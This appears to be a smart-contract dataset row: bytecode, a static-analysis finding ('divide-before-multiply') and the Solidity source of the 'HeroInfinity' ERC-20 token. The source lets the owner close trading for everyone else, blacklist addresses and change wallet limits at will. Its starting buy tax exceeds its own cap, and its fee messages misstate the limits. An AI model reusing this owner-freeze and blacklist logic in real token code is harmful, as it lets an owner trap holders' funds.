0020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220f9edab0ff6a175d4f60f5a950aaa689e109324b014fee432bc64975782dca90e64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 166 |
0x975edb0ec219b51789f8e425aa6f10074a0aa521 | /**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
/*
HeroInfinity Inu
https://t.me/HeroInfinityETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HeroInfinity is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HeroInfinity";
string private constant _symbol = "HeroInfinity";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x3a0D6e3a16c9cC560e96e48D890278129989a3F7);
address payable private _marketingAddress = payable(0x709b74Ee88A316e2D8E5ec7E7dBffC50b27293fb);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 25000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610528578063dd62ed3e14610548578063ea1644d51461058e578063f2fde38b146105ae57600080fd5b8063a2a957bb146104a3578063a9059cbb146104c3578063bfd79284146104e3578063c3c8cd801461051357600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b41146101fe57806398a5c3151461048357600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aad565b6105ce565b005b34801561020a57600080fd5b50604080518082018252600c81526b4865726f496e66696e69747960a01b602082015290516102399190611b72565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611bc7565b61066d565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50683635c9adc5dea000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611bf3565b610684565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601554610292906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611c34565b6106ed565b34801561036e57600080fd5b506101fc61037d366004611c61565b610738565b34801561038e57600080fd5b506101fc610780565b3480156103a357600080fd5b506102c26103b2366004611c34565b6107cb565b3480156103c357600080fd5b506101fc6107ed565b3480156103d857600080fd5b506101fc6103e7366004611c7c565b610861565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611c34565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610292565b34801561045957600080fd5b506101fc610468366004611c61565b6108a0565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506101fc61049e366004611c7c565b6108e8565b3480156104af57600080fd5b506101fc6104be366004611c95565b610917565b3480156104cf57600080fd5b506102626104de366004611bc7565b610acd565b3480156104ef57600080fd5b506102626104fe366004611c34565b60106020526000908152604090205460ff1681565b34801561051f57600080fd5b506101fc610ada565b34801561053457600080fd5b506101fc610543366004611cc7565b610b2e565b34801561055457600080fd5b506102c2610563366004611d4b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059a57600080fd5b506101fc6105a9366004611c7c565b610bcf565b3480156105ba57600080fd5b506101fc6105c9366004611c34565b610bfe565b6000546001600160a01b031633146106015760405162461bcd60e51b81526004016105f890611d84565b60405180910390fd5b60005b81518110156106695760016010600084848151811061062557610625611db9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066181611de5565b915050610604565b5050565b600061067a338484610ce8565b5060015b92915050565b6000610691848484610e0c565b6106e384336106de85604051806060016040528060288152602001611eff602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611348565b610ce8565b5060019392505050565b6000546001600160a01b031633146107175760405162461bcd60e51b81526004016105f890611d84565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107625760405162461bcd60e51b81526004016105f890611d84565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b557506013546001600160a01b0316336001600160a01b0316145b6107be57600080fd5b476107c881611382565b50565b6001600160a01b03811660009081526002602052604081205461067e906113bc565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016105f890611d84565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016105f890611d84565b674563918244f400008111156107c857601655565b6000546001600160a01b031633146108ca5760405162461bcd60e51b81526004016105f890611d84565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109125760405162461bcd60e51b81526004016105f890611d84565b601855565b6000546001600160a01b031633146109415760405162461bcd60e51b81526004016105f890611d84565b60048411156109a05760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b60648201526084016105f8565b600e8211156109fc5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261342560f01b60648201526084016105f8565b6004831115610a5c5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b60648201526084016105f8565b600e811115610ab95760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231342560e81b60648201526084016105f8565b600893909355600a91909155600955600b55565b600061067a338484610e0c565b6012546001600160a01b0316336001600160a01b03161480610b0f57506013546001600160a01b0316336001600160a01b0316145b610b1857600080fd5b6000610b23306107cb565b90506107c881611440565b6000546001600160a01b03163314610b585760405162461bcd60e51b81526004016105f890611d84565b60005b82811015610bc9578160056000868685818110610b7a57610b7a611db9565b9050602002016020810190610b8f9190611c34565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bc181611de5565b915050610b5b565b50505050565b6000546001600160a01b03163314610bf95760405162461bcd60e51b81526004016105f890611d84565b601755565b6000546001600160a01b03163314610c285760405162461bcd60e51b81526004016105f890611d84565b6001600160a01b038116610c8d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d4a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f8565b6001600160a01b038216610dab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f8565b6001600160a01b038216610ed25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f8565b60008111610f345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f8565b6000546001600160a01b03848116911614801590610f6057506000546001600160a01b03838116911614155b1561124157601554600160a01b900460ff16610ff9576000546001600160a01b03848116911614610ff95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f8565b60165481111561104b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f8565b6001600160a01b03831660009081526010602052604090205460ff1615801561108d57506001600160a01b03821660009081526010602052604090205460ff16155b6110e55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f8565b6015546001600160a01b0383811691161461116a5760175481611107846107cb565b6111119190611e00565b1061116a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f8565b6000611175306107cb565b60185460165491925082101590821061118e5760165491505b8080156111a55750601554600160a81b900460ff16155b80156111bf57506015546001600160a01b03868116911614155b80156111d45750601554600160b01b900460ff165b80156111f957506001600160a01b03851660009081526005602052604090205460ff16155b801561121e57506001600160a01b03841660009081526005602052604090205460ff16155b1561123e5761122c82611440565b47801561123c5761123c47611382565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128357506001600160a01b03831660009081526005602052604090205460ff165b806112b557506015546001600160a01b038581169116148015906112b557506015546001600160a01b03848116911614155b156112c25750600061133c565b6015546001600160a01b0385811691161480156112ed57506014546001600160a01b03848116911614155b156112ff57600854600c55600954600d555b6015546001600160a01b03848116911614801561132a57506014546001600160a01b03858116911614155b1561133c57600a54600c55600b54600d555b610bc9848484846115ba565b6000818484111561136c5760405162461bcd60e51b81526004016105f89190611b72565b5060006113798486611e18565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610669573d6000803e3d6000fd5b60006006548211156114235760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f8565b600061142d6115e8565b9050611439838261160b565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148857611488611db9565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115059190611e2f565b8160018151811061151857611518611db9565b6001600160a01b03928316602091820292909201015260145461153e9130911684610ce8565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611577908590600090869030904290600401611e4c565b600060405180830381600087803b15801561159157600080fd5b505af11580156115a5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115c7576115c761164d565b6115d284848461167b565b80610bc957610bc9600e54600c55600f54600d55565b60008060006115f5611772565b9092509050611604828261160b565b9250505090565b600061143983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b4565b600c5415801561165d5750600d54155b1561166457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061168d876117e2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116bf908761183f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116ee9086611881565b6001600160a01b038916600090815260026020526040902055611710816118e0565b61171a848361192a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175f91815260200190565b60405180910390a3505050505050505050565b